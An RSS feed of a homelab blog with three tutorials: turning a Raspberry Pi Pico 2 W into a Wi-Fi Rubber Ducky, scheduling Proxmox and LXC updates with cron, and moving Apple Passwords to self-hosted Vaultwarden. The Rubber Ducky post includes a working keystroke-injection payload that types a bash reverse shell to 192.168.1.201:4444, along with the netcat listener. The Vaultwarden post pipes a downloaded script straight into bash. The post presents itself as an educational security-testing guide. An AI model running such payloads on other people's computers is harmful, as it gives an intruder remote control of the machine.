<![CDATA[Gianelli HomeLab]]>https://gianelli.net/https://gianelli.net/favicon.pngGianelli HomeLabhttps://gianelli.net/Ghost 5.111Fri, 30 May 2025 14:40:23 GMT60<![CDATA[Create a Rubber Ducky from a Raspberry Pico 2 W]]>In this article, I’m going to explain how I built a Rubber Ducky using a Raspberry Pi Pico 2 W.

Disclaimer 

This project is for educational purposes only. Use it only on devices you own or have explicit permission to test. Unauthorized use of this tool on

]]>
https://gianelli.net/create-a-rubber-ducky-from-a-raspberry-pico-2-w/681928f3cf0e4f0179166564Mon, 05 May 2025 21:14:02 GMT

In this article, I’m going to explain how I built a Rubber Ducky using a Raspberry Pi Pico 2 W.

Disclaimer 

This project is for educational purposes only. Use it only on devices you own or have explicit permission to test. Unauthorized use of this tool on other systems may be illegal.

Overview

Raspberry Pico 2 W

The Raspberry Pi Pico 2 W is a compact and affordable microcontroller from Raspberry Pi. It’s powered by the RP2350 chip and includes built-in Wi-Fi, which makes it a great option for small connected projects or automation tasks.

Rubber Ducky

A Rubber Ducky is a device that looks like a regular USB stick but acts like a keyboard when plugged into a computer. It can automatically type and run commands very quickly, which makes it useful for automating tasks, or for security testing and hacking.

One of the key features of the Raspberry Pi Pico 2 W is that it can act as a USB HID (Human Interface Device), like a keyboard or mouse. This means it can send keystrokes to a connected computer, just like a Rubber Ducky. So in this article, we’re going to see how to do that.

Required Materials:

  • A Raspberry Pi Pico 2 W
  • A Micro USB cable
  • A computer
  • Another Wi-Fi enabled device (computer, tablet, smartphone...)

Firmware Installation

The first step is to install the CircuitPython firmware on your Raspberry Pi Pico. To do this, visit the official website, and download the firmware. Personally, I’m using version 9.2.7.

CircuitPython - Pico 2 W Download
Raspberry Pi Pico 2W is Raspberry Pi Foundation’s update to their popular RP2040-based wireless ico board, now built on RP2350: their new high-performance, secure microcontroller. With a higher core clock speed, double the on-chip SRAM (512KB), double the on-board flash memory (4MB!), more powerf…
Create a Rubber Ducky from a Raspberry Pico 2 W

Next, connect your Raspberry Pi while holding the BOOTSEL button, then release it. A drive named "rp2350" will be detected. Simply drag and drop the previously downloaded file onto this drive. The "rp2350" drive will be automatically ejected, and a new drive named "CIRCUITPY" will appear.

Project Structure

On this new drive, you should see a file named code.py. This is the main file of the project. Any code written in this file will run automatically as soon as the Raspberry Pi is plugged into a computer. This is also the file where we define our Wi-Fi access point, the IP address where the web server will be accessible, and the routes that will handle the different requests.

All the necessary files and directories for this project are available on my GitHub. You can simply copy and paste them from there to set everything up easily.

GitHub - GianelliT/Pico-WIFI-Duck: Transform your Raspberry Pi Pico W into a WIFI Rubber Ducky
Transform your Raspberry Pi Pico W into a WIFI Rubber Ducky - GianelliT/Pico-WIFI-Duck
Create a Rubber Ducky from a Raspberry Pico 2 W

Librairies

To build this project, we need to install a few additional libraries on the microcontroller. These are adafruit_hid and adafruit_httpserver.
The first one is used to inject commands through the keyboard, while the second allows the Raspberry Pi to create a Wi-Fi network when plugged in.

You can download the libraries from the official website. Make sure to choose the version that matches your CircuitPython version. Once downloaded, create a folder named lib on your Raspberry Pi, and copy the adafruit_hid and adafruit_httpserver folders into it.

CircuitPython - Libraries
The easiest way to program microcontrollers
Create a Rubber Ducky from a Raspberry Pico 2 W

The web server

Since a web server is being created, we also need an HTML file. The index.html file contains all the code for the web page, including the CSS. This page will be accessible from a local IP address on the Wi-Fi network created by the Raspberry Pi. In this case, the address is 192.168.4.1.

The parser

To execute the code we want to inject, we need to use a parser. That’s the role of the duck.py file. It scans the user input to recognize tokens that correspond to instructions, keyboard shortcuts, and text strings.

Payloads

To make using the Rubber Ducky easier, we use a folder called payloads. This allows us to prepare scripts in advance, save them in this folder, and load them directly once the Raspberry Pi is plugged in. That way, there's no need to rewrite the scripts every time you want to run them on a target machine.

Adjusting the keyboard layout

When the program injects your code, it types it as if it were coming from the keyboard of the target machine. This means you may need to adjust the keyboard layout in your code. Personally, I use a French MacBook with an Apple AZERTY keyboard. I’ll show you how to adapt your code accordingly.
First, go to this GitHub page:

GitHub - Neradoc/Circuitpython_Keyboard_Layouts: A repository of keyboard layouts for Circuitpython, for HID keyboards over USB or BLE.
A repository of keyboard layouts for Circuitpython, for HID keyboards over USB or BLE. - Neradoc/Circuitpython_Keyboard_Layouts
Create a Rubber Ducky from a Raspberry Pico 2 W

In the libraries folder, download the files that match your keyboard layout. You’ll need both the layout and the keycodes files. Then, copy these two files into the lib > adafruit_hid folder on your Raspberry Pi.

Now, in the library imports at the top of your duck.py file, update them to match the layout you’re using.
For example, here’s what I use:

from adafruit_hid.keyboard_layout_mac_fr import KeyboardLayout
from adafruit_hid.keycode_mac_fr import Keycode

If you’re using other libraries with functions that have different names, you’ll also need to adjust these two lines a bit further down in the file:

kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayout(kbd)

Features and Proof of Concept

Access to the web server

In my main file, code.py, I define the Wi-Fi access point like this:

ssid = "Pico WIFI DUCK"
password = "pico123456"

The ssid is the name of the Wi-Fi network and can be changed freely. You can also change the password, but it must be at least 8 characters long.

Create a Rubber Ducky from a Raspberry Pico 2 W

In this screenshot, you can see that my Wi-Fi network was successfully created and that I was able to connect to it by entering the password.

In the same file, I also set the IP address where the web server will be accessible:

server.serve_forever('192.168.4.1', 80)

The number 80 refers to the port, which is the default port used for HTTP connections.

Create a Rubber Ducky from a Raspberry Pico 2 W

As shown in the screenshot, all I need to do is open a web browser and type the IP address into the address bar. This brings me to the web page, which is coded in the index.html file.

Features

The main feature is the payload editor. It looks like a simple code editor where you can write the code that will be executed on the target machine. The commands should be written in DuckyScript. Not all commands are supported, but if you want to learn more about the language, you can check out the official documentation.

DuckyScript™ Quick Reference | USB Rubber Ducky
DuckyScript™ is the programming language of the USB Rubber Ducky™, Hak5® hotplug attack gear and officially licensed devices (Trademark Hak5 LLC. Copyright © 2010 Hak5 LLC. All rights reserved.)
Create a Rubber Ducky from a Raspberry Pico 2 W

Once the payload is written, all you have to do is click the Run button, and it will be executed immediately on the target machine.

You also have the option to click the Save button. This will download a text file to your device containing the code currently in the editor. It’s a handy way to save a payload and reuse it later.

In the top right corner of the editor, there are also two additional buttons. The first one clears the current content in the editor, allowing you to start writing a new payload from scratch. The second one copies the code in the editor to your clipboard.

Now let’s look at what is probably the most interesting part: the preloaded payloads. If you click the Select saved payload button, you’ll see a list of the payloads you’ve stored in the payloads folder on the Raspberry Pi. Just select the one you want and click Load. The content of the payload will then appear in the editor. From there, you can make any specific changes if needed, and then click Run to execute it.
This allows you to prepare different scenarios in advance and have ready-to-use attacks as soon as you plug in your Raspberry Pi.

Finally, in the top right corner of the page, an indicator shows the connection status with your Raspberry Pi.

Demonstration

To test our Rubber Ducky, what better than a simple “Hello World!”?
To do this, we’ll write the following code in the editor. This code is also available directly in the preloaded payloads.

DEFAULTDELAY 100
GUI space
STRING TextEdit 
ENTER
DELAY 1000
GUI N
DELAY 1100
STRING Hello world !
GUI A
GUI B
GUI +
REPEAT 10
RIGHT

I start by setting the default delay between commands to 100ms. The GUI command corresponds to the Start key in a Windows environment and to the Command key on a Mac. Here, I use it to open Spotlight with a keyboard shortcut, then type and open TextEdit.
I wait a bit longer, then create a new document. Again, I increase the delay to make sure the document is open before editing it.
Now I type "Hello world!", select the text, make it bold, and increase the font size ten times. Finally, I use the right arrow command to deselect the text.

All I have to do now is click the Run button, and here’s what happens on my Mac.

0:00
/0:09

You can clearly see how fast the commands are executed!

A More Advanced Attack


Now that we’re familiar with how the Rubber Ducky works, let’s see how we can use a simple script to build an attack scenario with the goal of obtaining a reverse shell on a machine.

⚠️ Again, this is for educational purposes only. It is strictly forbidden to use such a tool on any machine without the owner’s permission. ⚠️

The first step is to prepare the listening machine, the one that will receive the shell from the target machine.
In this case, I’ll place it on the same network as the target. An even more powerful option would be to assign a public IP address to this machine. That way, we wouldn’t need to have a device directly on the target’s network. While this is a more advanced setup, our is still a realistic scenario.

On the listening machine, I run ip a to get its IP address, then launch the following command:

nc -l -p 4444

This is a Netcat command. The -l option specifies that the machine is in listening mode, meaning it’s waiting for an incoming connection. The -p option allows you to define the port — here, I’ve chosen port 4444, but you can use any other port if you prefer.

Now, all we have to do is plug in our Rubber Ducky on the target machine and run the following script. Of course, you’ll need to adjust the IP address to match the one of your listening machine.

DELAY 1000
GUI SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 1000
STRING (bash -c 'bash -i >& /dev/tcp/192.168.1.201/4444 0>&1' &) && exit
DELAY 500
ENTER
DELAY 500
GUI Q

This script will open a terminal (assuming the target machine is a Mac), and then run the following command:

(bash -c 'bash -i >& /dev/tcp/192.168.1.201/4444 0>&1' &) && exit
  • bash -c '...' : This part starts a new Bash shell and executes the command that follows.
  • bash -i : This part starts an interactive Bash shell.
  • >& /dev/tcp/192.168.1.201/4444 : This part redirects the standard output and standard error to a TCP connection to the IP address 192.168.1.201 on port 4444.
  • 0>&1 : This part redirects the standard input to the standard output, allowing the TCP connection to receive inputs.
  • & : This part places the command in the background, allowing the script to continue running.
  • exit : This part terminates the current shell.

To sum up, this command creates an interactive shell in a new session, redirects it to our listening machine, then sends the process to the background so the terminal can be closed while still maintaining access to the shell.

Now, we can go back to our listening machine and check that we have successfully gained shell access to the target machine.

Create a Rubber Ducky from a Raspberry Pico 2 W

Once connected to the shell, we have full access to the target machine.

Create a Rubber Ducky from a Raspberry Pico 2 W

Conclusion

In this article, we explored how to turn a Raspberry Pi Pico 2W into a functional Rubber Ducky. From installing CircuitPython and setting up the necessary libraries, to building a custom web interface and writing payloads in DuckyScript, we covered every step needed to launch automated keyboard-based attacks. We even demonstrated how to execute a basic script and went further with an advanced example: gaining a reverse shell on a target machine.
This project is a powerful example of how simple hardware can be used for both educational and cybersecurity testing purposes.

Credits

GitHub - majdsassi/Pico-WIFI-Duck: Pico WiFi Duck is a project that enables the emulation of a USB Rubber Ducky over Wi-Fi using the Raspberry Pi Pico W. This functionality allows for remote control and automation of target systems, making it a versatile tool for penetration testing and security assessments.
Pico WiFi Duck is a project that enables the emulation of a USB Rubber Ducky over Wi-Fi using the Raspberry Pi Pico W. This functionality allows for remote control and automation of target systems,…
Create a Rubber Ducky from a Raspberry Pico 2 W
GitHub - Neradoc/Circuitpython_Keyboard_Layouts: A repository of keyboard layouts for Circuitpython, for HID keyboards over USB or BLE.
A repository of keyboard layouts for Circuitpython, for HID keyboards over USB or BLE. - Neradoc/Circuitpython_Keyboard_Layouts
Create a Rubber Ducky from a Raspberry Pico 2 W
DuckyScript™ Quick Reference | USB Rubber Ducky
DuckyScript™ is the programming language of the USB Rubber Ducky™, Hak5® hotplug attack gear and officially licensed devices (Trademark Hak5 LLC. Copyright © 2010 Hak5 LLC. All rights reserved.)
Create a Rubber Ducky from a Raspberry Pico 2 W
]]>
<![CDATA[Automatic upgrades with CRON]]>Keeping your Linux system updated is important for security, stability, and performance. Updates fix security issues, improve speed, and prevent software conflicts. They also add new features and ensure everything runs smoothly. Regular updates keep your system safe and reliable.

On Proxmox, it's important to keep both your

]]>
https://gianelli.net/automatic-upgrade-with-cron/67e1c9fe7d25ee011d4adf2dSat, 29 Mar 2025 21:10:00 GMT

Keeping your Linux system updated is important for security, stability, and performance. Updates fix security issues, improve speed, and prevent software conflicts. They also add new features and ensure everything runs smoothly. Regular updates keep your system safe and reliable.

On Proxmox, it's important to keep both your host and each LXC container up to date. However, managing updates manually can quickly become tedious. In this article, I'll show you how to automate these tasks, making maintenance easier and more efficient.

Upgrade host packages

The first step in maintaining your Proxmox system is keeping the host's packages up to date. The basic command to do this is:

apt update && apt dist-upgrade -y

This command first updates the package list and then upgrades any packages with available new versions. We use dist-upgrade instead of upgrade because it handles dependencies more intelligently, ensuring that required package changes are applied. The -y option automatically confirms the updates, so you don’t have to approve them manually.

Now, we want to automate this command to run on a schedule. We need to define how often it should run and at what time. I've chosen to perform updates weekly to maintain system security and stability. To ensure high availability, the updates will run every Monday at 1:00 AM.

So, I create a cron task. For that I edit the file /etc/crontab and I add the line:

0 1 * * 1  root  apt update && apt dist-upgrade -y >> /var/log/apt_upgrade.log 2>&1

The 0 1 * * 1 schedule follows the mm hh dd MMM WWW format, where each value defines a specific time unit. The file itself contains comments explaining how it works.

  • 0 1 means the task runs at 1:00 AM.
  • The two asterisks (* *) mean it runs every day of the month and every month, regardless of the date.
  • The final 1 specifies the day of the week—in this case, Monday.

This setup ensures the update process runs automatically every Monday at 1:00 AM.

The next parameter specifies the user who will execute the command — here, it is root.

Next, we define the command itself and direct its output to a log file for tracking. To capture both standard output and errors in the same log file, we use 2>&1. This ensures that any issues encountered during execution are also logged. Keeping logs isn’t necessarily useful for everyday monitoring, but it provides a way to verify that the task is being executed as expected.

The edited file should be like this:

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
0  1    * * 1   root    apt update && apt dist-upgrade -y >> /var/log/apt_upgrade.log 2>&1

#

Once you have modified your file, you need to restart the cron daemon with this command:

systemctl restart cron

Now that the packages on the Proxmox host will stay up to date automatically, we can move on to the next step: managing updates for LXC containers.

Upgrade LXC packages

One solution is to apply the same approach as we did for the host—adding a cron job inside each LXC container to handle updates. This method works, but it has several drawbacks:

  • It takes time to set up on every LXC.
  • It lacks scalability—each time we create a new LXC, we must manually add the script again.
  • Any changes, such as modifying the update frequency, require editing the script inside each container one by one.

To avoid these issues, a better approach is to create a single script on the Proxmox host that runs the update command inside all LXC containers. This makes management easier and more efficient.

To automate updates for all LXC containers, start by creating a script file:

nano /usr/local/bin/update_lxc.sh

In this file, add the following lines:

#!/bin/bash

# List all LXC containers
containers=$(lxc-ls --running)

for container in $containers; do
    # Execute the update command inside each LXC
    lxc-attach -n "$container" -- bash -c "apt update && apt dist-upgrade -y"
done

If you want to log the update process for verification, use the following line instead:

lxc-attach -n "$container" -- bash -c "apt update && apt dist-upgrade -y >> /var/log/apt_upgrade.log 2>&1"

Once the script is created, make it executable by running:

chmod +x /usr/local/bin/update_lxc.sh

Finally, test the script to ensure it works as expected:

/usr/local/bin/update_lxc.sh

The last step is to automate the script execution. To do this, create a new cron task.

Open the crontab file:

nano /etc/crontab

Add the following line at the end of the file:

15 1 * * 1 root /usr/local/bin/update_lxc.sh

With this schedule, the updates will run every Monday at 1:15 AM, right after the host update. You can adjust the frequency or timing based on your needs. Additionally, you can choose whether to log the operation.

To apply the changes, restart the cron service:

systemctl restart cron

Now, all the packages on your Proxmox server, including both the host and LXC containers, will be automatically updated every week! This ensures your system stays secure, stable, and up to date with minimal effort.

Update Docker Images

Our script works well, but we can improve it further. The goal is to enhance it so that, in addition to updating packages, it also pulls the latest Docker images and restarts containers inside the Docker LXC.

Since I use Docker Compose, this process is straightforward. I only need to check if the LXC currently being updated is my Docker LXC and adjust the commands accordingly.

#!/bin/bash

# List all LXC containers
containers=$(lxc-ls --running)

for container in $containers; do
    # Execute the update command inside each LXC
    lxc-attach -n "$container" -- bash -c "apt update && apt dist-upgrade -y"
    
    if [ "$container" == "110" ]; then
        # Execute specific commands if it is the Docker LXC
        lxc-attach -n "$container" -- bash -c "cd /docker && docker compose pull && docker compose up -d"
    fi
done

All commands inside the Docker LXC must be executed in a single line. Running lxc-attach again would create a new session, causing the working directory to reset. By combining the commands, we ensure that the script correctly updates the Docker containers.

Now you know how to keep everything up to date, from your LXC packages to your Docker containers. This automation saves time and ensures your system runs smoothly without manual intervention.

Credit

cron - Wikipedia
Automatic upgrades with CRON
Docker Compose
Learn how to use Docker Compose to define and run multi-container applications with this detailed introduction to the tool.
Automatic upgrades with CRON
]]>
<![CDATA[Migration from Passwords (Apple) to Vaultwarden]]>I used to store and autofill my passwords using Apple's default application: Passwords. This application allows me to synchronize my passwords across my devices and is quite good. However, there are some drawbacks to using this application:

  • If you are using a non-Apple device, you can't
]]>
https://gianelli.net/vaultwarden/67ce0a99e3003c1ef455c1bbSat, 22 Mar 2025 07:00:00 GMT

I used to store and autofill my passwords using Apple's default application: Passwords. This application allows me to synchronize my passwords across my devices and is quite good. However, there are some drawbacks to using this application:

  • If you are using a non-Apple device, you can't retrieve your passwords.
  • All your sensitive data is stored in the cloud, and you don't really have control over it.

Therefore, I will explain how I set up Vaultwarden for my password management.

Prerequisites

To achieve this, I use Proxmox as a hypervisor, which will host my Vaultwarden LXC container. In addition to Proxmox, I also need a domain name and a reverse proxy to link a public URL to my local IP address. For the reverse proxy, I personally use Caddy, which is also running in its own LXC container on Proxmox. This setup allows me to securely expose Vaultwarden to the web, while keeping the local network structure intact.

Installation of Vaultwarden LXC

To install the Vaultwarden LXC, I just run the script available on the Proxmox VE Helper Script:

  bash -c "$(wget -qLO - https://github.com/community-scripts/ProxmoxVE/raw/main/ct/vaultwarden.sh)"

Once you've run this command on your host, a new window for an interactive installation of the LXC appears.

Migration from Passwords (Apple) to Vaultwarden

Create the Vaultwarden LXC and choose the advanced settings to configure it.

Migration from Passwords (Apple) to Vaultwarden
Migration from Passwords (Apple) to Vaultwarden

Select Debian 12 (Bookworm).

Migration from Passwords (Apple) to Vaultwarden
Migration from Passwords (Apple) to Vaultwarden

This LXC doesn't need privileges, so you can let Unprivileged. You can now choose a password for the container. This is not mandatory but it is required if you want to be able to have an ssh access to your LXC.

Migration from Passwords (Apple) to Vaultwarden
Migration from Passwords (Apple) to Vaultwarden

Then you can choose the container ID and the name of the container.

For the ressources allocated to the container, I left the default values since there corresponds to the recommendation:

  • HDD: 6GB
  • CPU: 4vCPU
  • RAM: 6GB
Migration from Passwords (Apple) to Vaultwarden
Migration from Passwords (Apple) to Vaultwarden

I want a static IPv4 address for my LXC. Thus, I change the default DHCP for an IP on my local network. I work on the network 192.168.1.xxx. For the last digits, I used to use the same as in the container ID. Don't forget the network mask and the enter the gateway IP address.

Migration from Passwords (Apple) to Vaultwarden

For all the others parameters, I just left the default values, except I enable the verbose mode. Now I can create my LXC.

You will need to be patient during the installation process, as it can take some time. However, after a few minutes, the installation will complete, and the script will provide you with the IP address you can use to access the Vaultwarden service. The completion message will look something like this:

  ✔️  Cleaned
  ✔️  Completed Successfully!

  🚀  Vaultwarden setup has been successfully initialized!
  💡   Access it using the following URL:
    🌐  http://192.168.1.180:8000

Now that the installation is complete, you can try to visit the provided URL. However, when you access it, you might encounter an issue where the page never loads, and you’ll be stuck with a spinning loading icon.

Migration from Passwords (Apple) to Vaultwarden

If it's not working, it's because Vaultwarden can only run over HTTPS, but you're trying to access it via HTTP. This mismatch is why the page isn't loading correctly. To resolve this, I use Caddy as a reverse proxy, which allows me to securely route traffic from an HTTPS URL to the local HTTP service running on Vaultwarden.

Here are the lines I added to my Caddyfile to configure the reverse proxy:

vaultwarden.gianelli.net {
        reverse_proxy 192.168.1.180:8000
        tls /etc/caddy/ssl/certificate.pem /etc/caddy/ssl/key.pem
        encode gzip
}

With this configuration, the Vaultwarden service, which is running locally on 192.168.1.180:8000, will be proxied to a new subdomain: vaultwarden.gianelli.net. This setup ensures that traffic to vaultwarden.gianelli.net is securely forwarded to the internal Vaultwarden service, and the SSL/TLS encryption is handled by Caddy using the specified certificates.

⚠️ For this tutorial, I am using the subdomain vaultwarden, but for security and privacy reasons, I recommend using a less explicit name.

Now that you've updated your Caddyfile, you just need to reload the Caddy service to apply the changes. To do this, use the following command:

  caddy reload

Once you’ve reloaded the Caddy service, go to the URL you specified in your Caddyfile. You should now be able to access the Vaultwarden service via HTTPS securely. For your first connection, you’ll need to create an account.

Migration from Passwords (Apple) to Vaultwarden

When filling out the account creation form in Vaultwarden, you don't need to provide a valid email address, as the email field is only used as a username for the account. You can skip the password hint field as well, although it's a helpful reminder for you in case you forget your password. However, it is important to choose a strong password for your Vaultwarden account, as this password will protect your sensitive data. Be sure to remember it, or store it securely in another safe place.

Passwords importation into Vaultwarden

Now that you've created your account, you can log in to Vaultwarden using the email and the strong password you just set. Once logged in, you'll be directed to your dashboard, where you can manage your passwords and other sensitive data.

Migration from Passwords (Apple) to Vaultwarden

In the Vaultwarden dashboard, click the "New" button in the top-right corner to create a new folder. I named mine "Passwords" to organize my entries.

Next, open the Passwords app on your Mac. For this tutorial, I’ll export just one demo password, but you can choose to export all your passwords at once. In the app, go to the Files menu and select the export option. The exported data is a CSV file. For convenience, I saved the file on my Desktop, but you can choose another location if you prefer.

Migration from Passwords (Apple) to Vaultwarden

Go back to Vaultwarden and select Import data either in the Get Started panel or in the Tools section. Keep the default value My Vault and select the folder you created earlier (e.g., "Passwords"). For the file format, choose Safari and macOS (csv), then import the CSV file you exported earlier. Click on Import data, and a summary of the operation will appear. Afterward, the list of your passwords will be displayed on the homepage.

To import your passwords, we first exported them into a CSV file. However, this file is not secure, and it’s crucial to delete it afterward. But before simply deleting the file, we'll overwrite it with random bits to ensure that no traces of the file remain on your computer. This extra step adds a layer of security by preventing any possibility of recovery.

First, navigate to the directory where you exported your passwords CSV file. For example, if you saved it on your Desktop, open the terminal and use the following command:

  cd Desktop

Next, check the size of your CSV file by using the following command in the terminal:

  ls -la

This will display detailed information about the files in the current directory, including the file size. For example, if the file size is 130 bytes, it will show something like this:

total 32
drwx------@  6 gianelli  staff   192 Mar 18 23:45 .
drwxr-x---+ 38 gianelli  staff  1216 Mar 18 23:45 ..
-rw-r--r--@  1 gianelli  staff   130 Mar 16 23:47 Passwords.csv

You can also check the content of your CSV file to ensure it is not corrupted and still readable. To do this, use the following command in the terminal:

  cat Password.csv

This will display the contents of the file. For example, it might look something like this:

Title,URL,Username,Password,Notes,OTPAuth
demo.gianelli.net (gianelli),https://demo.gianelli.net/,gianelli,hyzwod-xokVo9-rozgiz,,

Now, to completely overwrite your CSV file, we will use the dd command. Here’s how it works:

  • if: Specifies the input file, which in this case is /dev/urandom (a source of random data).
  • of: Specifies the output file, which will be your CSV file (e.g., Passwords.csv).
  • bs: Defines the block size. You want to match the size of your file, so you will use the same length (e.g., 130 bytes).
  • count=1: Writes just one block, as the block size already matches the length of the file.
  • conv=notrunc: Prevents the file from being truncated or resized.

The full command looks like this:

  dd if=/dev/urandom of=Passwords.csv bs=130 count=1 conv=notrunc

After running the dd command to overwrite the file with random data, you can verify that the file is now completely unreadable by using the cat command:

  cat Password.csv

The output will look something like this, showing a string of random characters:

  ]+ioZ�~Ϟ�r`6% 

Since the contents are no longer readable, you can be sure that the file has been securely overwritten with random data.

To complete the operation, you can now delete the CSV file to ensure it no longer exists on your system. Use the following command to remove it securely:

  rm Password.csv

This will permanently delete the file from your system, ensuring that no traces of your sensitive data remain.

Secure features and devices integration

Two-Factor Authentication (2FA)

To enhance the security of your Vaultwarden account, enabling Two-Factor Authentication (2FA) is a crucial step. This adds an extra layer of protection by requiring a second form of verification in addition to your password. Even if someone obtains your master password, they won’t be able to access your vault without this second factor.

To enable this functionality, I navigate to Settings > Security > Two-step login and click Manage in the Authenticator app section. This opens the setup process, allowing me to link my Vaultwarden account to an authenticator app for added security.

Migration from Passwords (Apple) to Vaultwarden

This will display a QR code that needs to be scanned using an authenticator app. If you don’t already have one installed, you can download Bitwarden Authenticator, or use alternatives like Google Authenticator, Microsoft Authenticator, or Authy. These apps generate time-based one-time passwords (TOTP) that will serve as an additional security layer for your Vaultwarden account.

‎Bitwarden Authenticator
‎New from Bitwarden, provider of the password manager trusted by millions, Bitwarden Authenticator generates verification codes for two-factor authentication, ensuring your identity is verified when you log into accounts. Using industry-standards, Bitwarden Authenticator supports any website or appli…
Migration from Passwords (Apple) to Vaultwarden

Since I already use Microsoft Authenticator, I’ll choose this app for the setup. I simply scan the QR code displayed on the Vaultwarden setup page with my Microsoft Authenticator app, and it will automatically add the account to the app for generating time-based authentication codes.

Migration from Passwords (Apple) to Vaultwarden

Every 30 seconds, the authenticator app generates a new 6-digit code. To complete the Two-Factor Authenticationsetup, enter the generated code from your app into the verification code field in the web interface and then enable the functionality. This will finalize the 2FA configuration and secure your account with an additional layer of protection.

If you lose your smartphone, you will no longer be able to access your vault. To prevent this situation, make sure to save your recovery codeBitwarden strongly recommends that you print the recovery code and store it in a secure location. This recovery code will allow you to regain access to your account in case you lose access to your authenticator app.

Migration from Passwords (Apple) to Vaultwarden

Browser extension

Return to the Vaultwarden home page and click on the option to install the browser extension. This will redirect you to the App Store, where you can download the Bitwarden app. Once installed, the Bitwarden web extension will be available in Safari.

Migration from Passwords (Apple) to Vaultwarden

Change the access method to self-hosted, then enter the URL of your Vaultwarden instance. Once this is set up, you can log in using your email and master password. If you have enabled Two-Factor Authentication (2FA), you will also need to enter the 6-digit code generated by your authenticator app to complete the login process and access your vault.

Go to the Settings section and navigate to Account Security. Here, you can enable biometric access to your vault, allowing you to unlock it using Face ID or Touch ID (depending on your device). You can also define the duration for which the vault remains accessible after being unlocked, giving you the option to automatically lock it after a certain period of inactivity.

In Mozilla Firefox, click on the extension button in the top-right corner of your browser. Then, search for the Bitwarden password manager extension. Once found, you can click on it to add the extension to your browser. This will allow you to easily autofill passwords and securely manage your login credentials directly from the browser.

Migration from Passwords (Apple) to Vaultwarden

The setup process is exactly the same as in Safari. Once the Bitwarden extension is installed in Mozilla Firefox, it will automatically start autofilling your passwords, allowing you to easily log into websites without having to manually enter your credentials each time.

IOS Application

You first need to download the Bitwarden app from the App Store and log in using your Vaultwarden credentials. The process is identical to setting up the browser extension.

Now, to enable autofill using Bitwarden instead of Apple's default Passwords app, you need to configure your iPhone's settings. This will allow Bitwarden to automatically suggest and fill in saved credentials whenever you log into apps or websites.

  1. Open the Settings app on your iPhone.
  2. Scroll down and tap on General.
  3. Select Autofill & Passwords.
  4. Under Autofill From, enable Bitwarden by toggling it on.
  5. If necessary, disable Passwords (Apple’s default autofill service) to prevent conflicts.

Migration from Passwords (Apple) to Vaultwarden

Now, your iPhone will autofill passwords using your self-hosted Vaultwarden instead of Apple's cloud-based service.

Conclusion

By following these steps, you now have a fully self-hosted password manager with:

  • Full control over your data
  • Secure HTTPS access via Caddy
  • Cross-device synchronization
  • Two-Factor Authentication for extra security

Enjoy your privacy-focused password manager!

Credits

Proxmox VE Helper-Scripts
A Front-end for the Proxmox VE Helper-Scripts (Community) Repository. Featuring over 200+ scripts to help you manage your Proxmox VE environment.
Migration from Passwords (Apple) to Vaultwarden
Caddy - The Ultimate Server with Automatic HTTPS
Caddy is a powerful, enterprise-ready, open source web server with automatic HTTPS written in Go
Migration from Passwords (Apple) to Vaultwarden
Best Password Manager for Business, Enterprise & Personal | Bitwarden
Bitwarden is the most trusted password manager for passwords and passkeys at home or at work, on any browser or device. Start with a free trial.
Migration from Passwords (Apple) to Vaultwarden
dd [Wiki ubuntu-fr]
Migration from Passwords (Apple) to Vaultwarden
]]>